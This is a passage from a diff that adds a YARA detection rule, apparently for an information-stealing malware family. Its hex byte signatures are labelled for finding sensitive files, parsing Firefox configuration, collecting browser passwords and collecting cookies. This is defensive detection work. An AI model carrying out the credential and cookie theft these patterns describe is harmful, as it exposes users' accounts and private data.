+            4D ?? 48 8D 55 ?? FF 15 ?? ?? ?? ?? 4C 8B F8 0F 57 C0 F3 0F 7F 45 ?? 0F 57 C9 F3 0F
+            7F 4D ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 60 ?? 48 89 45 ?? 48 8D 4D ?? 48 89 08
+            49 83 FF ?? 0F 84 ?? ?? ?? ?? 4C 8D 2D ?? ?? ?? ?? F6 45 ?? ?? 0F 84 ?? ?? ?? ?? 0F
+            B7 4D ?? 0F B7 45 ?? 66 83 F9 ?? 75 ?? 66 85 C0 0F 84 ?? ?? ?? ?? 66 3B C9 75 ?? 66
+            3B C1 75 ?? 66 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 4C 89 64 24 ?? 0F 57 C0 0F 11 44 24 ??
+            4C 89 65 ?? 4C 89 65 ?? 49 C7 C0 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 49 FF C0 66
+            42 83 3C 47 ?? 75 ?? 48 8B D7 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 41 B8 ?? ?? ?? ?? 48
+            8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 0F
+            1F 44 00 ?? 49 FF C0 66 42 83 3C 40 ?? 75 ?? 48 8D 55 ?? 48 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 49 8B D6 E8 ?? ?? ?? ?? 90 48 8D
+            4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 48 8B 54 24 ?? 48 8D 4C 24 ??
+            E8 ?? ?? ?? ?? 4C 89 65 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 64 24 ?? 48 8B 4C 24 ??
+            4C 89 64 24 ?? E9 ?? ?? ?? ?? 4C 89 65 ?? 0F 57 C0 0F 11 45 ?? 4C 89 65 ?? 4C 89 65
+            ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 49 FF C0 66 42 83 3C 40 ?? 75 ?? 48 8D 55 ?? 48
+        }
+		$find_sensitive_files_p2 = {
+            8D 4D ?? E8 ?? ?? ?? ?? 90 4C 8D 55 ?? 48 8B 5D ?? 48 8B 75 ?? 48 83 FE ?? 4C 0F 47
+            D3 4C 8B 5D ?? 49 83 FB ?? 72 ?? 49 8D 4B ?? 48 C7 C0 ?? ?? ?? ?? 48 3B C8 48 0F 42
+            C1 4D 8D 0C 42 4D 8B C1 4D 2B C5 66 41 83 39 ?? 75 ?? BA ?? ?? ?? ?? 49 8B C5 42 0F
+            B7 0C 00 66 3B 08 75 ?? 48 83 C0 ?? 48 83 EA ?? 75 ?? 4D 2B CA 49 D1 F9 EB ?? 4D 3B
+            CA 74 ?? 49 83 E9 ?? 49 83 E8 ?? EB ?? 49 C7 C1 ?? ?? ?? ?? 49 83 F9 ?? 0F 84 ?? ??
+            ?? ?? 49 FF C1 4C 89 64 24 ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 65 ?? 4C 89 65 ?? 4D 3B
+            D9 0F 82 ?? ?? ?? ?? 4D 2B D9 49 C7 C0 ?? ?? ?? ?? 4D 3B D8 4D 0F 42 C3 48 8D 45 ??
+            48 83 FE ?? 48 0F 47 C3 4A 8D 14 48 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ??
+            48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48
+            8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 7D ??
+            ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48
+            8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
+            C0 74 ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 C0 74 ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48 8D 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? 48
+            8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 89 64 24 ?? 0F 57 C0 0F
+            11 44 24 ?? 4C 89 64 24 ?? 4C 89 64 24 ?? 49 C7 C0 ?? ?? ?? ?? 49 FF C0 66 42 83 3C
+        }
+		$find_sensitive_files_p3 = {
+            47 ?? 75 ?? 48 8B D7 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 41 B8 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48
+            8D 55 ?? 48 83 7D ?? ?? 48 0F 47 55 ?? 4C 8B 45 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48
+            8B D0 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 49
+            83 F8 ?? 76 ?? 48 8B 54 24 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 89 64 24 ?? 48 C7 44
+            24 ?? ?? ?? ?? ?? 66 44 89 64 24 ?? 48 8B 4C 24 ?? 4C 89 64 24 ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 49 83 F8 ?? 76 ?? 48 8B
+            54 24 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 89 64 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66
+            44 89 64 24 ?? 48 8B 4C 24 ?? 4C 89 64 24 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 8B 46
+            ?? 49 3B 46 ?? 74 ?? 48 8D 55 ?? 48 8B C8 E8 ?? ?? ?? ?? 49 8B 5E ?? BA ?? ?? ?? ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 49 8B 0E 48 83 C1 ?? 48 8B 01 48 85 C0 74 ?? 48 39 58 ??
+            72 ?? 77 ?? 4C 89 20 48 8B 40 ?? 48 89 01 EB ?? 48 8D 48 ?? 48 8B 01 48 85 C0 75 ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 49 83 46 ?? ?? EB ?? 4C 8D 45 ?? 48 8B D0 49 8B CE E8 ??
+            ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 48 8B 55 ?? 48
+            8D 4D ?? E8 ?? ?? ?? ?? 4C 89 65 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 65 ?? 48 8B 4D
+            ?? 4C 89 65 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B
+            45 ?? 49 83 F8 ?? 76 ?? 48 8B 54 24 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 89 65 ?? 48
+            C7 45 ?? ?? ?? ?? ?? 66 44 89 64 24 ?? 48 8B 4C 24 ?? 4C 89 64 24 ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 48 8B 55
+            ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 89 65 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 65 ?? 48
+        }
+		$parse_firefox_configuration_p1 = {
+            48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 41 54 41 55 41 56 41 57 48 8D AC 24
+            ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ??
+            48 8B F1 48 89 4C 24 ?? 45 33 ED 44 89 6C 24 ?? 0F 57 C0 0F 11 01 0F 11 41 ?? 4C 89
+            29 4C 89 69 ?? 4C 89 69 ?? 4C 89 69 ?? 41 8D 4D ?? E8 ?? ?? ?? ?? 4C 89 68 ?? 48 89
+            06 48 89 30 C7 44 24 ?? ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ??
+            ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 4C 8B 75 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 49 2B C6
+            48 83 F8 ?? 0F 82 ?? ?? ?? ?? 4C 8D 65 ?? 48 83 7D ?? ?? 4C 0F 47 65 ?? 4C 89 6C 24
+            ?? 0F 57 C0 0F 11 44 24 ?? 0F 57 C9 F3 0F 7F 4C 24 ?? 4D 8D 7E ?? 41 8D 5D ?? 48 8D
+            7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? 48 8D 4C 24 ?? 48 89 08 4C 89 68 ?? 48 89 44 24 ?? 8D 4B ?? 4C 3B FB 76 ?? 49
+            8B DF 48 83 CB ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 3B D8 76 ?? 48 8B D8 EB ?? 48 3B
+            D9 48 0F 42 D9 48 8D 4B ?? E8 ?? ?? ?? ?? 48 8B F8 48 89 44 24 ?? 4C 89 7C 24 ?? 48
+            89 5C 24 ?? 4D 8B C6 49 8B D4 48 8B CF E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 66 42 89 04
+            37 0F B6 05 ?? ?? ?? ?? 42 88 44 37 ?? 42 C6 04 3F ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D
+            54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ??
+            49 83 F8 ?? 76 ?? 49 FF C0 48 8B 54 24 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 66 0F 6F 05
+            ?? ?? 12 00 F3 0F 7F 44 24 ?? C6 44 24 ?? ?? 48 8B 4C 24 ?? 4C 89 6C 24 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 0F 57 C0 0F 11 45 ??
+            0F 11 45 ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 90
+        }
+		$parse_firefox_configuration_p2 = {
+            4C 89 6C 24 ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 48 8B 7D ?? 4C
+            8D 75 ?? 48 83 7D ?? ?? 4C 0F 47 75 ?? 49 BC ?? ?? ?? ?? ?? ?? ?? ?? 49 3B FC 0F 87
+            ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89
+            85 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 08 4C 89 68 ?? 48 89 44 24 ?? 48 83 FF ?? 77 ??
+            48 89 7C 24 ?? BA ?? ?? ?? ?? 48 89 54 24 ?? 41 0F 10 06 0F 11 44 24 ?? EB ?? 48 8B
+            DF 48 83 CB ?? 49 3B DC 76 ?? 49 8B DC EB ?? 48 83 FB ?? B8 ?? ?? ?? ?? 48 0F 42 D8
+            48 8D 4B ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 7C 24 ?? 48 89 5C 24 ?? 4C 8D 47 ??
+            49 8B D6 48 8B C8 E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11
+            85 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 FA ?? 48
+            0F 47 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48
+            85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 54 24 ?? 48 8D 4C
+            24 ?? E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 8B
+            4C 24 ?? 4C 89 6C 24 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB 75 ?? 48 8D 15 ?? ??
+            ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ??
+            ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 89 05
+            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48
+            8D 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
+            ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB FF
+            15 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB FF 15
+        }
+		$parse_firefox_configuration_p3 = {
+            4C 8B 7D ?? 49 8B C4 49 2B C7 48 83 F8 ?? 0F 82 ?? ?? ?? ?? 4C 8D 65 ?? 48 83 7D ??
+            ?? 4C 0F 47 65 ?? 4C 89 6C 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 57 C9 F3 0F 7F 4D ?? 4D
+            8D 77 ?? BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 8D 4B ??
+            E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 08 4C 89 68 ?? 48 89 44 24
+            ?? 4C 3B F3 76 ?? 49 8B DE 48 83 CB ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 3B D8 76 ??
+            48 8B D8 EB ?? 48 83 FB ?? B8 ?? ?? ?? ?? 48 0F 42 D8 48 8D 4B ?? E8 ?? ?? ?? ?? 48
+            8B F8 48 89 44 24 ?? 4C 89 75 ?? 48 89 5D ?? 4D 8B C7 49 8B D4 48 8B CF E8 ?? ?? ??
+            ?? 42 C7 04 3F ?? ?? ?? ?? 42 C6 04 37 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ??
+            ?? 48 8D 4C 24 ?? 48 83 7D ?? ?? 48 0F 47 4C 24 ?? FF D0 4C 8B 75 ?? 48 8B 5D ?? 49
+            3B DE 0F 84 ?? ?? ?? ?? 48 83 C3 ?? 0F 1F 40 ?? 48 8D 43 ?? 48 8D 4D ?? 48 3B C8 74
+            ?? 48 8B D3 48 83 7B ?? ?? 76 ?? 48 8B 13 4C 8B 43 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48
+            8D 53 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ??
+            ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 40 ?? 49 FF C0 42 80 3C 00 ?? 75 ?? 48 8B D0 48 8D 4D
+            ?? E8 ?? ?? ?? ?? 48 8D 53 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ??
+            48 8B C8 E8 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 44 00 ?? 49 FF C0 42 80 3C 00 ??
+            75 ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 7E ?? 48 3B 7E ?? 74 ?? 48
+            89 BD ?? ?? ?? ?? 48 8D 55 ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 8D 4F ?? 48 8D 55 ?? E8
+            ?? ?? ?? ?? 90 48 8D 4F ?? 48 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 56 ?? 4C 8B
+            C2 48 8B CE E8 ?? ?? ?? ?? 48 83 46 ?? ?? EB ?? 4C 8D 45 ?? 48 8B D7 48 8B CE E8 ??
+            ?? ?? ?? 48 83 C3 ?? 48 8D 43 ?? 49 3B C6 0F 85 ?? ?? ?? ?? 48 8D 4C 24
+        }
+		$collect_browser_passwords_p1 = {
+            48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ??
+            ?? ?? ?? 0F 29 B4 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ??
+            48 63 DA 48 8B F9 48 89 4D ?? C7 44 24 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 01 0F 11 41 ??
+            45 33 ED 4C 89 29 4C 89 69 ?? 4C 89 69 ?? 4C 89 69 ?? 41 8D 4D ?? E8 ?? ?? ?? ?? 4C
+            89 68 ?? 48 89 07 48 89 38 C7 44 24 ?? ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48
+            8D 0C 9B 4C 8D 05 ?? ?? ?? ?? 49 8D 50 ?? 48 8D 14 CA 49 83 7C C8 ?? ?? 76 ?? 48 8B
+            12 4D 8B 44 C8 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8D 4D ?? E8 ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0
+            48 8B 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 12 00 F3 0F 7F 45 ?? C6 45
+            ?? ?? 48 8B 4D ?? 4C 89 6D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ??
+            ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 8B CB E8 ??
+            ?? ?? ?? 4C 8B E0 4C 89 6D ?? 4C 89 6D ?? 0F 57 C0 0F 11 45 ?? 0F 57 C9 F3 0F 7F 4D
+            ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 4C 89 6D ??
+            48 8D 4D ?? 48 83 7D ?? ?? 48 0F 47 4D ?? 48 8D 55 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D8 48 8B 4D ?? FF 15
+            ?? ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            48 8D 55 ?? 48 83 7D ?? ?? 48 0F 47 55 ?? 4C 89 6C 24 ?? 4C 8D 4D ?? 41 B8 ?? ?? ??
+            ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8B 4D ??
+            FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 33 D2 48 8B
+            4D ?? FF 15 ?? ?? ?? ?? 4C 8B F8 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B
+        }
+		$collect_browser_passwords_p2 = {
+            F0 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 4C 8B F0 BA ?? ?? ?? ?? 48 8B 4D ??
+            FF 15 ?? ?? ?? ?? 48 8B D8 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? BA ?? ?? ??
+            ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 C7 C0 ?? ?? ?? ??
+            48 FF C0 80 3C 03 ?? 75 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ?? 41 0F 10 34 24 4C 89 6C 24
+            ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 49 C7 C0 ?? ?? ?? ?? 66 0F
+            1F 44 00 ?? 49 FF C0 42 80 3C 03 ?? 75 ?? 48 8B D3 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F
+            29 74 24 ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 15 ??
+            ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 49 8B D7 E8 ?? ?? ?? ?? 48 8B
+            C8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8
+            48 8B D6 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8B C8 49 8B D6 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D
+            15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? 48 83 7D ?? ?? 48 0F
+            47 55 ?? 4C 8B 45 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 E8 ??
+            ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 49 FF C0 42 80 3C 06 ?? 75 ?? 48 8B D6 48 8D 4D ?? E8
+            ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 49 FF C0 43 80 3C 06 ?? 75 ?? 49 8B D6 48 8D 4D ??
+            E8 ?? ?? ?? ?? 48 8D 55 ?? 48 83 7D ?? ?? 48 0F 47 55 ?? 4C 8B 45 ?? 48 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8B 5F ?? 48 3B 5F ?? 74 ?? 48 89 5C 24 ?? 48 8D 55 ?? 48 8B
+        }
+		$collect_browser_passwords_p3 = {
+            CB E8 ?? ?? ?? ?? 90 48 8D 4B ?? 48 8D 55 ?? E8 ?? ?? ?? ?? 90 48 8D 4B ?? 48 8D 95
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 57 ?? 4C 8B C2 48 8B CF E8 ?? ?? ?? ?? 48 83 47
+            ?? ?? EB ?? 4C 8D 45 ?? 48 8B D3 48 8B CF E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ??
+            ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C
+            89 6D ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 48 8B 4D ?? 4C 89 6D ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ??
+            0F 84 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 49 8B CC E8 ?? ?? ??
+            ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 55 ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 12 00 48 8B 4D ?? F3 0F 7F 45 ?? C6 45
+            ?? ?? 4C 89 6D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B
+            45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05
+            ?? ?? 12 00 48 8B 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 4C 89 6D ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B
+            55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 12 00 48 8B 4D ?? F3 0F 7F 45 ??
+            C6 45 ?? ?? 4C 89 6D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B C7 48 8B 8D ?? ?? ??
+            ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 0F 28 B4 24 ?? ?? ?? ?? 48 81 C4
+            ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
+        }
+		$collect_cookies_p1 = {
+            48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ??
+            ?? ?? ?? 0F 29 B4 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ??
+            48 63 DA 4C 8B F1 48 89 4D ?? C7 44 24 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 01 0F 11 41 ??
+            33 FF 48 89 39 48 89 79 ?? 48 89 79 ?? 48 89 79 ?? 8D 4F ?? E8 ?? ?? ?? ?? 48 89 78
+            ?? 49 89 06 4C 89 30 C7 44 24 ?? ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 0C
+            9B 4C 8D 05 ?? ?? ?? ?? 49 8D 50 ?? 48 8D 14 CA 49 83 7C C8 ?? ?? 76 ?? 48 8B 12 4D
+            8B 44 C8 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8D 4D ?? E8 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B
+            55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 12 00 F3 0F 7F 45 ?? C6 45 ?? ??
+            48 8B 4D ?? 48 89 7D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ??
+            84 C0 0F 84 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 7D ?? 48 89 7D ??
+            0F 57 C0 0F 11 45 ?? 0F 57 C9 F3 0F 7F 4D ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 89 7D ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 47 4D ??
+            48 8D 55 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 48 8B D8 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ??
+            ?? 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 55 ?? 48 83 7D ?? ?? 48 0F 47 55 ??
+            48 89 7C 24 ?? 4C 8D 4D ?? 41 B8 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ??
+            ?? 0F 1F 80 ?? ?? ?? ?? 33 D2 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B F0 BA ?? ?? ?? ??
+            48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B F8 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15
+        }
+		$collect_cookies_p2 = {
+            4C 8B F8 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B D8 BA ?? ?? ?? ?? 48 8B
